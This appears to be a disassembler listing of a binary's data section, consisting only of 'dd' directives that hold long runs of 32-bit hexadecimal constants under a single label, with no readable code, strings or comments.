dd 1D58CD1Dh, 0A322627Fh, 11404212h, 0AB21B326h, 9F109F08h
dd 7F0020ACh, 0FA89656Bh, 5DC66h, 786CBAAFh, 71E0128Bh
dd 7D52220Ch, 23B0A1h, 0D30A4330h, 2BBB54A5h, 426BF40Eh
dd 264B219Ch, 4CCB55Ch, 6FDE005Eh, 34124925h, 0C800BCF2h
dd 863A9F98h, 5513B9h, 0EA903C91h, 56A535D7h, 0FF2E3E8h
dd 1FF8E271h, 0FD619300h, 8DE49AF5h, 163B01F1h, 0F31A403Fh
dd 0ED5360EBh, 59130712h, 1D01E400h, 0E008C1h, 0D1AD1CF2h
dd 2CF0C3DEh, 25000CEAh, 0CC8A58C4h, 7E71A6E8h, 3C009213h
dd 701DABB1h, 3F57402Bh, 7885D043h, 4B27DF01h, 0BD4D08BEh
dd 906DF9CCh, 0A3C05E4h, 17D25F6h, 11714FCh, 6F32D470h
dd 494A7F00h, 9A07D8CDh, 415A01D9h, 0BCC20F19h, 32B1ECDAh
dd 0D6223300h, 10FCB336h, 8FE0030Ah, 0EBA87649h, 6B2B3DE0h
dd 0A3849A04h, 8C80240Eh, 2EC40DE3h, 5EAF53h, 6696D292h
dd 8300C6F7h, 95170B9Bh, 1F87144Eh, 807EDFAEh, 0BC035D89h
dd 88B8359Ch, 95319400h, 0EA540EB5h, 3AB9056Bh, 0C0E34A56h
dd 9446F25Bh, 2E956300h, 0E1E2A838h, 0C6E000AEh, 6A64F82h
dd 21005FB8h, 0D1CAFCAAh, 926E3Bh, 0F23780C1h, 8BC3DABDh
dd 61A97E00h, 0AE3C5571h, 1A8C2498h, 63200BF0h, 5F006C0Eh
dd 0F0E9800Dh, 0DDA5C000h, 0E19AFF3Fh, 0ABC81CF2h, 0EB3240FBh
dd 0DF206D07h, 0F85A911Fh, 8DD72B40h, 16971644h, 7CF5B0h
dd 42FF4624h, 0E900E4C3h, 28398405h, 0D927B5h, 0DB0F9E5h
dd 18DB2A17h, 0D78DCE00h, 0F03D8B5Ch, 0E47E0072h, 0B58F041Ah
dd 0AB07B980h, 0EB86787Bh, 0D0372E43h, 0F15070h, 0F801948Ch
dd 0FD5F328Dh, 0BF196D00h, 9E86AB0Fh, 0E78E1D66h, 31007C3Ah
dd 9634BABDh, 320AB777h, 0FC922702h, 3A65E600h, 785ABFD8h
dd 0B34B0398h, 4614E8Ch, 0D2E52090h, 4CF93200h, 0B856E9D0h
dd 8512003Dh, 720E90E3h
dd 7D006B11h, 2CE2F02Ah, 7AF2C068h, 6152002Fh, 3DE30D79h
dd 7100FAD2h, 0AEDE8F60h, 3A5469ECh, 2B008005h, 0A640A3E4h
dd 0FAE2EB70h, 0B97A6B0Bh, 0D88C824Dh, 0F8B4C0E9h, 3F1A0161h
dd 0F14570E0h, 346C3452h, 921E5471h, 0ED49EEB1h, 9C740718h
dd 0EB90A4E0h, 0A1F900D4h, 9DF57D35h, 5B005F66h, 0EF0E1394h
dd 0F011BDh, 1BD6400Fh, 3D1EADC2h, 20DD881Ch, 8ED57F80h
dd 19517B78h, 80D492F2h, 31B7D064h, 0DFF9A200h, 0E38AF820h
dd 0A7480180h, 89E4911Dh, 7EBCE87Dh, 0C8C28D07h, 58D1789Dh
dd 0BD0374Eh, 2FA7C3Ah, 5C4D84EAh, 7D40BA46h, 0BC00AB8Bh
dd 45ED2822h, 1E3E987Dh, 870DA682h, 670C04C8h, 9502B25Bh
dd 3E2F888h, 0AF7EC57h, 2AAE3B80h, 66FF3703h, 9853089Eh
dd 1E24FB8Bh, 0AD166Eh, 5DD89B4Bh, 2090F606h, 28442000h
dd 4FE8816Ch, 0F2390F18h, 0EF31E4Ch, 23E0D060h, 823CCFD7h
dd 0A9AEA809h, 56F4040Fh, 0EF579F20h, 4A2B5A12h, 31A22C40h
dd 1F7F1FDCh, 7F416636h, 716F2E80h, 0ACD05CF7h, 0AF3BCE13h
dd 33EA9C00h, 37E58D8h, 93A8DFFAh, 6CE122BEh, 5570C80Ah
dd 0C7723Fh, 958CEDEBh, 3C082456h, 0AD81E43Dh, 0CD0AE303h
dd 0E077CA2Fh, 288076B1h, 75DA6721h, 1287002Eh, 854F368Ch
dd 0FC00FD11h, 50CCBD41h, 0C95AC0h, 0C3126FEDh, 0FEE09946h
dd 1548A060h, 552924h, 0D1A8979Eh, 9967A4Eh, 82567B00h
dd 0FFEA202Bh, 0A0355E14h, 8E007292h, 18B9D232h, 3D2384h
dd 49C9A85Eh, 43119A2h, 55A57207h, 9CF0DEEAh, 763F0Bh
dd 0EDCD16BDh, 0F7A82F44h, 1A196E00h, 34319168h, 0BDA60736h
dd 30D3C441h, 2351F37Ah, 0F63721Ch, 984AF640h, 99A92Ah
dd 3590B17Eh, 0ACE07F3Ah, 68E24D1Dh, 857850C0h, 0B026862Ch
dd 764C1CFCh, 53730131h, 51CD1228h, 0C40736D8h, 0AF0C4F0Eh
dd 19D656B9h, 88280011h, 0EF4C0DE2h, 2D73D06Dh, 0DE9B58h
dd 5F0C6690h, 2C2CED8h, 0F453DC5Dh, 89C311A7h, 23B71100h
dd 0D8EB2151h, 0C3300003h, 19473B5Ah, 0C700C8F0h, 2C6E146Ah
dd 4CD92h, 5722171Ah, 0A7384EDEh, 0D2007C90h, 30534A93h
dd 0A878919Dh, 99E5F4E0h, 0B62B00A4h, 0E24A24DEh, 4001C90h
dd 5A97ACD2h, 586655h, 955D298Fh, 826C4F87h, 7CF49F24h
dd 0BC404C00h, 21CDDE9h, 0D7FD02Bh, 0FCC0F318h, 0EC002272h
dd 4D6BD823h, 0EAAF0129h, 902A0034h, 738C4785h, 7600D019h
dd 14D715D4h, 35D692Dh, 0BC085A26h, 0D6804CDCh, 8601222Eh
dd 1E8CA0E7h, 0DDC3352h, 931400F3h, 0C850B559h, 0D6004BC4h
dd 812CC908h, 0D11E67h, 0ADE7E5B9h, 0DD86443h, 97006EEEh
dd 0B1D9DCD6h, 0FF4EB0h, 0B6C24AD0h, 3FE5AC09h, 0A2B28400h
dd 0F8889452h, 506B12F1h, 800A1C0Fh, 0B096B6C8h, 0D63E0DEAh
dd 0F6048023h, 45D32E98h, 0E9A413A2h, 58260018h, 9624C75Bh
dd 0E0271D00h, 0E726C5FCh, 0E6460059h, 0B2F3C4A4h, 0AA000256h
dd 8507895Fh, 992026h, 63415991h, 86773213h, 0BDDAC807h
dd 0D7206C97h, 6D63F8Ch, 1B01B953h, 57EA8E06h, 0F15A500h
dd 0FE85E52Ah, 190C0067h, 89067A52h, 0DC0059DBh, 4E72C523h
dd 0B042B1h, 8B21F278h, 0FF1B70A5h, 2FA70D00h, 3EF8D52Ch
dd 8262132Bh, 5FF0010h, 0A51E58B6h, 0BC21D300h, 6DC1FCD8h
dd 8638018Ch, 0C4F80C9h, 48E760DFh, 3F79907Dh, 3D993200h
dd 0E3F0F3FFh, 5CF0B0h, 4ED5F743h, 0CBFC5705h, 67F1C000h
dd 786C5A59h, 0ABC60735h, 0A7B8297Ah, 0F076702Bh, 0D6033AFEh
dd 31383948h, 8828AB20h, 3B09BADBh, 418061DAh, 8E95A23Fh
dd 2B00B263h, 4FD4EF74h, 56ECF2h, 6E8A70F4h, 1EC1FB35h
dd 59CC4000h, 5C2A1DAAh, 649700A4h, 1117C4C3h, 34767309h
dd 0FC0E25F8h, 0C02202ABh, 665B39B0h, 4EC63D6Bh, 0E8EABD00h
dd 62B16C63h, 0D141FE0Bh, 4FC18753h, 8319F370h, 43EB002Eh
dd 0F2D54450h, 800974Ah, 693155B6h, 3D308F98h, 3C802CE8h
dd 71D07CAAh, 2600E781h, 0B6ED7046h, 951F1Ch, 18F20590h
dd 0BF968F9Eh, 0E74F4D00h, 0DE716942h, 0CA4C00A7h, 0FF2280D5h
dd 0D3E81112h, 0EC21D200h, 9D636A38h, 795000ACh, 0BB0B2D58h
dd 9900F974h, 3FF19F41h, 0FE9EB5Ch, 8C084580h, 6C2AADE0h
dd 0D800761Ch, 610398FAh, 0C07EFB88h, 7A1F0A78h, 5F0056E1h
dd 4735E814h, 397BCBh, 0D540A270h, 0C305CF53h, 3D97130Ch
dd 2FD854h, 0D33E7964h, 0A11444B1h, 59E5B007h, 80696BD9h
dd 0EBFEAEACh, 0FA8D004Eh, 9C83B65h, 0A51C6160h, 6C8001B3h
dd 94A21292h, 8A5E003Fh, 0E267AFBBh, 3975C1C3h, 0E8A7F800h
dd 0EFF061F6h, 9B1E0173h, 44E6188Ah, 0CE8970BBh, 49BEAF00h
dd 7D8CB82Bh, 0AA93F86h, 0CA89DD80h, 3EE8C061h, 0F4EC840Bh
dd 45460007h, 0EBD440h, 0CEDC890Dh, 1E86AAACh, 0B423100h
dd 0A2DFE7C6h, 0AF560075h, 37B803ABh, 8E0E3A2Ch, 0C0A96A07h
dd 6FFFA7FCh, 6D57005Dh, 5E265A9Eh, 2D0079D0h, 8BD4AF44h
dd 1BEDF8h, 6A8F6265h, 0A9B7F4BBh, 7EB8A700h, 0B16B1C0Fh
dd 0FC3D4802h, 62B22A73h, 0AE7D12A8h, 5EC4034Eh, 84D78873h
dd 0B3A480C9h, 0BF00E843h, 0C655C1B1h, 0C05D7872h, 0CD664240h
dd 0D70768D5h, 0FF0D0285h, 0DD5B9500h, 0CA3E003Dh, 98C08FABh
dd 0FE0F041Ch, 0CE0E88h, 0A39E050Ah, 4DAD2801h, 93852CE0h
dd 7CBB0061h, 41804644h, 0C0C3DC00h, 109105D2h, 0FABAE0CAh
dd 0DDFF30F3h, 1FD79018h, 3A8AD00h, 0D46AC1D6h, 0AA48003Eh
dd 612B28E9h, 89FA7E87h, 7B02F112h, 1E1BDD00h, 3688DB4h
dd 814ADDE4h, 1FF83706h, 0F50A281Ch, 0DCE90B57h, 98009513h
dd 0A0AC7FFFh, 0CE2C18BAh, 0B5BFF9D5h, 9BE5D700h, 8E22F903h
dd 9280199h, 96AD4F88h, 0E60FCC12h, 8134AF01h, 51F49211h
dd 944BE30h, 0BCEA2DC5h, 21AB1780h, 43136935h, 98001B03h
dd 0A1D84F05h, 0C16F008Bh, 6B86EB4Dh, 250FEE09h, 20595EC8h
dd 0F2DD1439h, 4D52007Dh, 5751A4FAh, 5072E7Ah, 2CCAF612h
dd 821831C0h, 2C9B4C8Ch, 79B87Bh, 30572D2Fh, 43A1B43Bh
dd 0E6C43900h, 0C6534534h, 9B8A1D61h, 0BA5AC749h, 8029D75Bh
dd 0FD2A8F69h, 2C2BEA00h, 83B36FCAh, 804D00CDh, 59F661BDh
dd 0E200F2A0h, 198C8556h, 0F5B2286h, 0D353664Dh, 0B303D1E3h
dd 2E3D01A0h, 79981300h, 1D9E5FA9h, 905600D6h, 76DBF0E4h
dd 6D00A653h, 8E02DF4Eh, 0F14335h, 278DCB30h, 78954568h
dd 0F7FFC0A0h, 0DA1F6500h, 0C9623B40h, 126A16C4h, 0ED6420CBh
dd 0EE13277Dh, 0A440437Ah, 4282313h, 1CABFC8Bh, 406B1BB6h
dd 16A9F4E1h, 0C0A01543h, 0B7000945h, 0E2A7CB8h, 24010DB0h
dd 338D517h, 2DF2A7E7h, 3D1F9FE0h, 0BC9258h, 37F32CDAh
dd 8043A2h, 0FD470DD9h, 0D027D3DCh, 69F8B112h, 0DD843000h
dd 0B51621Eh, 12948D9Bh, 0C1406800h, 9500A9FAh, 6EBAB2FDh
dd 0E27A3Eh, 0DF55F2ADh, 0FF852E1Ah, 4E7DC800h, 96D14CF5h
dd 885C003Dh, 0C26414C4h, 0BB00D36Eh, 0EB6F799Ch, 111AFE8h
dd 8DBCDD1h, 0C4A2483Bh, 0A706457Bh, 8A3AF890h, 0FFC40090h
dd 0B3B5F84h, 3DFCBB89h, 7E4A0C00h, 0CDACF345h, 2CB78C4h
dd 0EDFA089Ah, 688424h, 71887B5Fh, 3EA10FEAh, 9E20190Eh
dd 48C64325h, 0E4889F54h, 0F3FAFCE8h, 0CD54D400h, 4B699462h
dd 20346235h, 84E0A523h, 0EA074049h, 68BEC5CEh, 4C47C0B0h
dd 350E3130h, 60CB7E28h
dword_555548 dd 0D6260418h, 50001870h, 0B5E70F31h, 0AA76EEh, 0ECF9332Ah
dd 0AFFCDF65h, 7D4F1C2Eh, 5CC8E500h, 3EB3F254h, 0F500F90Fh
dd 0CC14E9B0h, 0E700426Fh, 0A19E4C78h, 2F8DFCA8h, 0C7800E09h
dd 3360AE61h, 7FEE3CB2h, 628CE700h, 0A6DBC44Bh, 55D200E0h
dd 275045E6h, 0DF3A25FBh, 0A4AFBF54h, 0C80DC47h, 0F5767CEDh
dd 93EC007Dh, 0CCABA631h, 6560613Ch, 961EA3EEh, 7A660544h
dd 803AF4E0h, 0FD243027h, 1642A600h, 9BA78132h, 0B1EF6C2h
dd 400F70DEh, 849C1289h, 0F222A01Dh, 0F8F49400h, 8ED785h
dd 8D3F86E4h, 33D4301h, 11845F16h, 0FDBB6800h, 1C947C21h
dd 0C0CFA9C4h, 22F86EE0h, 36008791h, 6B69C386h, 1DC9E130h
dd 80E26F28h, 740FC4DBh, 51039C1Eh, 0E4419FFBh, 5280016Eh
dd 952F388Dh, 64AA20A0h, 0D60C7F00h, 68DDCC06h, 0B573009Ch
dd 0DB63B053h, 18B838C7h, 0E47EAD00h, 0F1AC06FCh, 6BB43022h
dd 6D8CFB40h, 9690670Fh, 0E59BA00Ah, 0CFAA6Ah, 97CD1BC0h
dd 6E9FAB74h, 0BEA3FE0Eh, 1800D2A0h, 4498D58Fh, 9DC00029h
dd 2EDDCE76h, 0A918495Fh, 5EFA5AFBh, 27E431h, 0F1112084h
dd 0A8430632h, 0D7F85600h, 2EC81D7Fh, 121B0188h, 1163A6A4h
dd 521C30AAh, 742468B0h, 54009EB0h, 7C2FA4EDh, 0FF6107DDh
dd 505FE18Ah, 9FB297B4h, 693CF512h, 391B9840h, 869A81h
dd 7A7E0514h, 0A795F772h, 7909113Bh, 29B7100h, 5505F06Bh
dd 357FD6h, 986F537h, 0EF622E51h, 0CFCC3E00h, 170F25CDh
dd 165C981Ah, 0DB9561h, 15E3D11Ch, 19725142h, 66261D07h
dd 0D03A54CAh, 0AE9B800h, 24EDF25Ch, 93B04958h, 130509B5h
dd 0C5207C80h, 9BFEF976h, 0B9BBD000h, 91BECF27h, 4570126Fh
dd 0C2480A2h, 0D301AA8Dh, 88240F1h, 1EF89635h, 0F5790075h
dd 9AFA3E09h, 0EB0087F8h, 0E2B90D5Ah, 0E47A4A4Fh, 3468008Eh
dd 9EBB8CEAh, 6E308DF1h, 0ED432C90h, 0DA440019h, 51C170F7h
dd 4900FC77h, 593F63CBh, 98CDA9h, 0E9BC3B20h, 5626D0F7h
dd 8077D73Ch, 6006E0DCh, 1F7A2EABh, 40928B76h, 486CA003h
dd 0D2007BD0h, 8F0B8026h, 28CD96A8h, 3CC5FE4h, 0E8749D7Ch
dd 88E5A95Dh, 0A70F86A0h, 4F3B3CCh, 8D87B905h, 0D0F53980h
dd 5110C004h, 0D2F4358Bh, 74BB0A12h, 0ED400D00h, 17771457h
dd 40912617h, 44FE3B4h, 78F05C22h, 9D739939h, 0FC1DC90Eh
dd 1093DD06h, 95C1028h, 9DE18803h, 5E71D91h, 3A5DC08h
dd 90C01610h, 0DADD6100h, 6A14AC62h, 464A0064h, 9DCF1E08h
dd 70F27EFCh, 2AF3EC2Ch, 0B5D37B00h, 50163069h, 3CB45021h
dd 5C00EFBEh, 14C193E5h, 87F78ED3h, 36BB0828h, 0A0E1B8B2h
dd 1256BC98h, 0D8C0DC78h, 0EE3A014h, 51DC0410h, 0D0241C87h
dd 9BC1AB97h, 0F2184500h, 0FDE24DE0h, 2DFE0069h, 0A4B6E955h
dd 16034A96h, 4EDE269Dh, 6C60F7ABh, 0D286Fh, 2C9A9EC3h
dd 0FA812210h, 0B00CE7Ah, 997D941Dh, 0B19B17h, 0D7C4FEF2h
dd 8ED2073Dh, 0C6183200h, 2D60C377h, 0E1F80059h, 0D814D6BAh
dd 3EEA15DEh, 0BF721601h, 1BB5C133h, 0B58D024h, 0F9D09546h
dd 0A5350D80h, 0F20063E5h, 0A4B1CA7Fh, 72D992C0h, 7C4924EAh
dd 0BF360007h, 82BF2AEh, 9DDD880Fh, 39BE1FAh, 3DE05135h
dd 0DA07004Ch, 79A18BEFh, 0E5002E58h, 0AE7C48D9h, 10F089Dh
dd 0B4DDB6Ch, 0C0B1EA66h, 0FE002B25h, 719E2333h, 2EA2BFh
dd 39507D5Dh, 99A56B3Ah, 0E66E3205h, 6FC038CFh, 30E5FFBh
dd 44D2C464h, 0BD03D87h, 31E08B50h, 4C223C04h, 0EF850A88h
dd 6D00661Eh, 527F9AB3h, 2B8E12BEh, 404515Ch, 0B72445BCh
dd 2F0E10EDh, 0F9B5E027h, 3BC49EDBh, 38BB30C5h, 4391EA1Fh
dd 4DEB5A74h, 904B13D9h, 0A884FA29h, 54D844A4h, 4859A744h
dd 0A1DD42C6h, 22571C22h, 0E2245BC1h, 40113F22h, 10B32842h
dd 438ACAAEh, 0A4292827h, 42CB2228h, 5E148A50h, 0A308FD44h
dd 22718228h, 0B721C9D6h, 0C01E562h, 58BD005Bh, 0BEAD00DEh
dd 0BC57305Ah, 0FB00E452h, 0A4355568h, 74EAAAAFh, 77A800F9h
dd 20EE8AA7h, 0E717E288h, 4100BC58h, 91D8B727h, 0B30AC025h
dd 88C94028h, 5CC6E500h, 0CD18D5DDh, 1FCC2EC2h, 19A900FEh
dd 0DA13E7D4h, 0D0A43Ah, 9F9B8E30h, 0AC5327h, 6D95991Bh
dd 0AAA7EDD7h, 0D6BD2100h, 92AD1E29h, 523617D0h, 75CE0733h
dd 6F05D051h, 0E4002F3Ch, 70BAAFCAh, 39E28A3h, 0ED71F492h
dd 0A9F8B31Bh, 0B4000A47h, 3C8B7AA7h, 779BB5h, 8FD8F609h
dd 68878E5Bh, 8B0BD038h, 8085F089h, 1E16C015h, 0BCF6AFh
dd 51CDAA47h, 6BC895A3h, 0E256D100h, 0E58B74C1h, 0CCD45DB9h
dd 0B7AC1901h, 0EC01DEFCh, 0A500311Fh, 0E8C57849h, 3B90B5C9h
dd 8D8FC7C0h, 98A71A5Fh, 0F9006908h, 4DE44564h, 116BC130h
dd 137F91h, 3DCC4051h, 0E714CA23h, 0F9C21D00h, 0FB50EFF4h
dd 5A746AEEh, 84F5807Ch, 52F94CA9h, 788E420Eh, 0EBB7A040h
dd 49545Fh, 1A8A94A4h, 2A42DFA5h, 0D01CED14h, 783500D9h
dd 627D8869h, 0B3AF023Eh, 0A207DC37h, 0C75648E0h, 94F64200h
dd 0C1BBD610h, 0D4BE00D9h, 0D187D304h, 8100CC05h, 1B8C97DAh
dd 578392h, 59FD376Eh, 0D75ED4C4h, 6DEB0600h, 0A89623E1h
dd 0B04A0447h, 80C5E751h, 0BB1A817Eh, 539BB713h, 91F85B00h
dd 109AE1h, 76F19385h, 0F306C70h, 0B708E900h, 0BFCD608Dh
dd 0FD17995h, 832A52E6h, 0CAE702A0h, 91074859h, 64FEEDBh
dd 6EFE7B80h, 54BC005Eh, 6ADC5C4Bh, 0B648930Ch, 0EEE40088h
dd 43198925h, 2ECF00F9h, 0E370602Bh, 5E00F026h, 9BEA9C2Ah
dd 26563F75h, 1309AF9h, 1383F392h, 0B3FFF438h, 5DB4DE0Fh
dd 0A25060A3h, 0E4861F3Ch, 0A13D3F91h, 52007C38h, 884EB131h
dd 33E83D7h, 0DD5C6Dh, 0B5563A66h, 7DA77F04h, 0ECBF0020h
dd 5706475Fh, 500E772h, 2E5D9F0Ah, 3C3645ABh, 0E3804C14h
dd 48C0CC6Ah, 0D8020C4Ah, 0FDDEA494h, 0D7F9C021h, 6E580943h
dd 8003EC09h, 0F3E0601Fh, 0DB003701h, 0CAFAA722h, 5C406587h
dd 95008BE4h, 3FB043B2h, 8F09D44Ah, 40A782E5h, 5826C0h
dd 8D10EF3Bh, 4DDAA061h, 0F91D23Bh, 606E866Dh, 870EDBCEh
dd 0FB820017h, 0C41CA55Bh, 77008ADEh, 0FF28126Dh, 702BB964h
dd 0BED8005Ah, 3185B849h, 10C70B6Eh, 0EAE0ED4Dh, 90A0B6DEh
dd 57FE006Bh, 524F7A44h, 5E001702h, 0B3A7815Dh, 7DE471h
dd 0F70A79EFh, 0CCDF82E2h, 8A2E5F0Fh, 716440ADh, 67903542h
dd 408BC069h, 6D65BCFh, 0CCA10900h, 0D055D51Eh, 8EDE0015h
dd 5FDB1786h, 2C01031Fh, 16B75CFEh, 1EE844F4h, 0B0630053h
dd 0ED429541h, 48FE187Fh, 477B5B7Bh, 9F3CEB00h, 3528239Eh
dd 0C776EA87h, 1044BDD0h, 0F1C5A4DBh, 9FF7A600h, 9EAD43C0h
dd 0CCAF008Eh, 2679E38Ch, 2C0083A4h, 5E4C5DB1h, 1B81FEFh
dd 0B352B7CAh, 0F0BED429h, 0AD3913B6h, 18D70058h, 5794EA8Dh
dd 0B94E00D0h, 60F278C6h, 9C1C3896h, 971F0E65h, 7D4C3040h
dd 1F98DFEBh, 0C03AE49Fh, 91F5481Ch, 0CA011E43h, 737DC65Bh
dd 0B1FC95C7h, 9BE11C66h, 0E048787h, 25202041h, 70BC48Ch
dd 54938F14h, 0A5450FABh, 2BC54703h, 889A8800h, 2B64EFEh
dd 95F600A0h, 0C2523F50h, 73000549h, 0A4787C21h, 16131DB1h
dd 6A0806h, 37EBA62Eh, 0E21C1AF0h, 3C400A58h, 83D2B213h
dd 0CD40006Ah, 3D9861F6h, 1B00FB04h, 4490C043h, 3FE2FA0Ch
dd 55028123h, 9C6F71C4h
dd 972ECC40h, 0F465433Fh, 2AAFEB00h, 0E0675169h, 0AEFE0C9Ch
dd 0D120C12Bh, 21A2B407h, 8D131D0Fh, 3AFBB8D2h, 0AB402E2Dh
dd 0AE9800BBh, 6B7813B3h, 0E700CC90h, 3B59B02Bh, 0FA1DC2h
dd 937EAC72h, 69D5650Eh, 63433500h, 97C84B6h, 9A27039Bh
dd 9E462014h, 0F1AB89A0h, 83D80D3Dh, 0D034C721h, 0FFF7A0E1h
dd 3C7B00ECh, 0FB6ECE36h, 674CED41h, 7A9C007Dh, 0F502A9B4h
dd 3A1C003Bh, 0D30B91ACh, 42022127h, 0BA7ECA76h, 8450FFh
dd 0E8772352h, 0A73FA680h, 0D6E5F700h, 74AAB595h, 20F3002Dh
dd 710B3B2Ah, 83071A1Bh, 0E0A4B6FEh, 0C1F9B2D0h, 15F11E67h
dd 0FB0E0537h, 60D80BFh, 7F287681h, 1600B094h, 0E4EAAB64h
dd 0EE1A86A7h, 0B71705Fh, 3C450292h, 0F0FE3807h, 0C446F0C8h
dd 8C477E0Eh, 0F44440D9h, 7C7DDE84h, 83B7004Eh, 0D39903B3h
dd 8B00715Bh, 3948C205h, 1B11AA7h, 25F98411h, 0F08382B9h
dd 7E0FB37Dh, 0C0B86979h, 5FCD67E0h, 4BF23Bh, 0CB299640h
dd 0D8501527h, 0A442EF00h, 0C50B8281h, 8D59009Ch, 1CDF5DD0h
dd 300060CFh, 0EF1B13FFh, 3C85Fh, 22F7E625h, 0B8B43961h
dd 0F6A16607h, 0C04F9746h, 6A98DD95h, 24CC00EDh, 0B22968BEh
dd 0E013150Dh, 30006403h, 4AA5DF1Bh, 2578C6h, 0A43DDC71h
dd 94D0C044h, 0D5171900h, 0B30F4EA1h, 1E86E6DBh, 0DC3DE687h
dd 302056CEh, 0B12F9CA4h, 504C3AFCh, 0FBF10130h, 7222AF93h
dd 0E3B430h, 2BACC230h, 59B4A220h, 0C82BC0Eh, 98E22039h
dd 7F2C1302h, 9D3D2C11h, 0BB940050h, 9C84BF74h, 0CC225800h
dd 8569216Fh, 0F21D0212h, 0D9FA3B4Ah, 3C604340h, 73BB7C04h
dd 0C0C5250Dh, 0E02E2300h, 1268EA9Bh, 1D957912h, 2734004h
dd 7F1BBE91h, 35583100h, 0D14E22C2h, 0CDC31623h, 0A390000Dh
dd 82FD5E21h, 31B60903h, 8254E7C8h, 1972C081h, 0BBED029Eh
dd 2D8426D7h, 3E83B440h, 5C587320h, 8D00B7CFh, 5E6ACECDh
dd 0C055F19h, 8FD31375h, 81573480h, 92300040h, 792F9F72h
dd 90006735h, 37BACF80h, 5A7BD3h, 0EAF712D0h, 890AE504h
dd 0D6F63F0Eh, 0FE9381E9h, 78386FDCh, 81B3640Fh, 0D860BBEEh
dd 15BFF320h, 580420B8h, 2D65DDF6h, 486F4880h, 87D9035Ah
dd 7ECB5403h, 0DBC1A380h, 0FA2B5802h, 0C06778D6h, 62E295h
dd 95973915h, 314DDB2Eh, 18428800h, 890E792Bh, 0BCF2049Eh
dd 80C9C4D6h, 6226ACAFh, 491BBF07h, 216CAC8h, 7A570041h
dd 0E1A73A2Ah, 600E8D6h, 0CF85FBBBh, 4E5C76h, 0A53C618Bh
dd 599E09F6h, 2D736800h, 993ADF45h, 0B36C00A0h, 5146AF10h
dd 1B07F1A3h, 12089BE7h, 808EFDE2h, 23984EECh, 11C7405h
dd 0D2444CCBh, 0FC020736h, 49002BDFh, 770520EAh, 0C383CEh
dd 0AD7DBDAEh, 0D7DBC472h, 0A611E00h, 0EC270B5h, 58B10053h
dd 0C720A6D2h, 0DA90104Ah, 1F14EF0Fh, 0A37427AFh, 0B940E8B7h
dd 4E1BC0h, 0B8EC05E9h, 15CE50DFh, 0A579B700h, 0CB71035Fh
dd 809F0133h, 58B29C7Ch, 24183C56h, 0C06090C4h, 36BAAF1h
dd 67014D79h, 0FAA03A81h, 5E00B6D4h, 846EBEBFh, 0E6DB5B93h
dd 0C991149Bh, 2900ABA7h, 0D8E57AC4h, 36002180h, 6BF6DD8Eh
dd 0B911F7h, 6D966E8Fh, 4AF90EE2h, 0A0D5DC00h, 2A1B3D8Dh
dd 34D98ADh, 0B570138Ah, 9800957Ah, 8D23D711h, 0D3BE1F6Dh
dd 0DF03FE08h, 0A13524B7h, 2084D112h, 0C70DC964h, 512D8068h
dd 10187761h, 0B9286570h, 0BA750713h, 0E0D062F3h, 3B698372h
dd 187CD81Fh, 6B05F600h, 5312B0h, 4936CB9Bh, 0C60C8FFh
dd 0ED72BB00h, 40893F1Eh, 8820F973h, 11AA24E5h, 9E1F0578h
dd 0F158D09Fh, 8709A8CCh, 60F79CECh, 0C08B210h, 41915B10h
dd 0C6004E10h, 2435416h, 476476h, 0B69D8CA7h, 0F7DA3F61h
dd 5C009B98h, 0A0259143h, 793986Fh, 6B142365h, 0D6C60107h
dd 9FA3E062h, 0B5F2D04h, 0ABC0A2F6h, 3A3D40h, 9D847917h
dd 2B96AC31h, 0CFAA5400h, 18C5F259h, 16290024h, 0DDB03C51h
dd 51B08DB7h, 0ABE0507h, 3191E646h, 0D1F99343h, 321DC840h
dd 942220EEh, 0A98FA928h, 0EA0FA48h, 8291AA44h, 0C932FC2Eh
dd 208069FCh, 0D5B5E3C5h, 9002C834h, 3AB9ECA9h, 0F16C6938h
dd 0A41D170h, 7CFEC57Bh, 81003DC8h, 4C894E50h, 0CC028CE7h
dd 0F93CEC6Ch, 0E6E7406Dh, 75840167h, 5843BD64h, 0D205FC29h
dd 0A9E52500h, 0EBBAA796h, 0B29F16D4h, 9C5C0401h, 0DB688056h
dd 102CEF64h, 5C01346Ah, 6327C38Fh, 4330D09Eh, 0D7205E83h
dd 0FE460A5h, 8C00AD2Eh, 405ECE80h, 294B0h, 0C992C32Ah
dd 0ED06D7B2h, 7ADBA0C3h, 52CB9855h, 7D2698B8h, 3E75B4h
dd 7BE2400Fh, 0BB587012h, 0B08C4500h, 0A342B3DEh, 646639F3h
dd 2F30E180h, 0F48AF888h, 9C62F9h, 47B1713Bh, 2AB5DEBh
dd 0C10AA841h, 0F0C8818Bh, 48583C1Dh, 2F1E162Ch, 0EE18618h
dd 45761C77h, 8D80FEC2h, 4771490Ah, 19007BC0h, 63210B68h
dd 2953145h, 7D6C80C2h, 37C06DA0h, 0DF04941Bh, 33754A1Fh
dd 0F18E80AEh, 4098D418h, 538A8710h, 720BE058h, 94A79747h
dd 0ADE8B2DBh, 176BA0AAh, 0D320F00Ah, 0FD00C874h, 0A2992FA5h
dd 0A0BB804Dh, 3960DFCCh, 64005383h, 321011B7h, 0B92C894Fh
dd 4D007514h, 721FC278h, 0AC01185Dh, 80FE3921h, 48816B00h
dd 0C217ED2Bh, 575000C8h, 0E399D19Bh, 0A2EE7907h, 0AD823106h
dd 2870E7h, 6B4978A4h, 1DD6F48Fh, 9865A72Ah, 2FC3E813h
dd 235700C0h, 3C08034Eh, 716729AAh, 0C19D000h, 0C1940A1Ah
dd 4D5A39C5h, 10DC6F3Ah, 92E416h, 52014768h, 6400110Ah
dd 639B6678h, 756E9786h, 0E4730065h, 0E517A77Fh, 0D70F416Fh
dd 815A0A2Eh, 1F75D83Fh, 20E0470h, 0D2778809h, 47081E1h
dd 0D7030A90h, 1F55C147h, 43AFB078h, 0A19B3D67h, 0AA172393h
dd 0AECE4200h, 0ED4B02h, 0FA9008BEh, 71A74493h, 5099707h
dd 21708681h, 58256F9Ch, 731F5C56h, 0F9287D31h, 0CB2A0084h
dd 3E679A7h, 0D6008BF4h, 746BA5CCh, 30BAFBF8h, 2520C4D7h
dd 0E4E76619h, 0A9076981h, 48A27065h, 0D1168480h, 1D6E0E6Bh
dd 0E4BDDD9Fh, 662B041Ch, 48205604h, 770BBFFh, 0E961B7EAh
dd 0B4DF5041h, 0AD0ED8E2h, 938CBE97h, 59059801h, 6C79DB06h
dd 0C457CC0Bh, 0B2355460h, 0AC414Dh, 901AC36Eh, 1F3444DAh
dd 0DB8BA4h, 2C86274h, 0A0066D2h, 0F824ED21h, 3552EBEh
dd 0BA672813h, 47A0342Fh, 1700F274h, 18EE6DA1h, 0A3EF3h
